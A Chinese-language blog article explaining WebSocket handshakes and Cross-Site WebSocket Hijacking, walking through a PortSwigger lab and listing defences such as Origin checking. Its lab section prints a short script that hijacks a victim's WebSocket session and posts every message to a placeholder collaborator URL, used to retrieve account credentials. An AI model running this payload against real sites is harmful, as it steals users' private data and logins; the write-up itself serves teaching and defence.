浅析websocket劫持

声明：本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本号及原作者无关。

WebSocket劫持漏洞导读

WebSocket协议技术

WebSocket是HTML5推出的新协议，是基于TCP的应用层通信协议，它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接，跟 TCP 不同的是，WebSocket 是基于 HTTP 协议进行的握手，它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道

websocket是持久化的协议，而http是非持久的

当通信协议从 http://或 https://切换到 ws://或 wss://后，表示应用已经切换到了WebSocket协议通信状态

WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤，如下图

建立WebSocket连接

WebSocket连接通常是使用客户端JavaScript创建的

var ws = new WebSocket("wss://normal-website.com/chat");
//该wss协议建立在一个加密的TLS连接的WebSocket，而ws协议使用未加密的连接。

为了建立连接，浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求，如下所示：

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

如果服务器接受连接，则它将返回WebSocket握手响应，如下所示：

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

此时，网络连接保持打开状态，并且可以用于向任一方向发送WebSocket消息。

请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手

WebSocket安全漏洞

原则上，由于WebSocket涉及多个层面，任何与WebSocket有关的web安全漏洞都有可能出现

• 传输到服务器的用户的输入以不安全方式处理，出现SQL注入或XML外部实体注入等

• 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到

• 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户，则可能导致XSS或其他客户端漏洞

本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH

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跨站WebSocket劫持漏洞

什么是跨站WebSocket劫持漏洞

Websocket带来的安全特性在一定程度上缓解了一些特性的攻击，但在日渐发展的攻击方式下，其相关漏洞也不断曝光，其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞

我们可以看见WebSocket的链接过程与http是极其相似的，WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份，因此，服务器需要采用http客户端认证机制来辨明身份，如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份，与服务器建立WebSocket连接

CSWSH与跨站请求伪造CSRF的漏洞原理极其类似

相较于CSRF漏洞只能发送伪造请求，跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道，且不受同源策略的限制，这在很大意义上都造成了更大的危害和可操作性

跨站WebSocket劫持漏洞可能带来的影响

• 执行伪造成用户的未授权操作

与常规CSRF类似，攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作

• 检索用户可访问的敏感数据

与常规CSRF不同的时，CSWSH是建立一个可双向交互的通道，当客户端向用户发送敏感数据时，攻击者可以将其拦截并记录得到敏感信息

跨站WebSocket劫持漏洞靶场演示

靶机环境
• 靶场

借助于burpsuite练兵场

Lab: Cross-site WebSocket hijacking | Web Security Academy (portswigger.net)

• 浏览器环境

edge浏览器

靶场解析
• 点击启动靶场

• 观察发现存在实时聊天界面，观察发现没有CSRF的令牌

• 将代码复制到body

<script>
  var ws = new WebSocket('wss://your-websocket-url');
  ws.onopen = function() {
    ws.send("READY");
  };
  ws.onmessage = function(event) {
    fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
  };
</script>

• wss://your-websocket-url替换成目前url

• https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器

• 可以点击view exploit测试，也可以直接发给攻击方

• 然后在Burp Collaborator Client多poll几下

• 翻看一下得到账号密码

然后我选择再用dnslog验证一遍

确实可以带出数据，执行敏感操作

如何防范跨站WebSocket劫持漏洞

• 校验Origin头

• 双向将WebSocket传输数据视为不可信

• 对WebSocket握手信息进行加密保护

• 硬编码WebSockets终结点的URL

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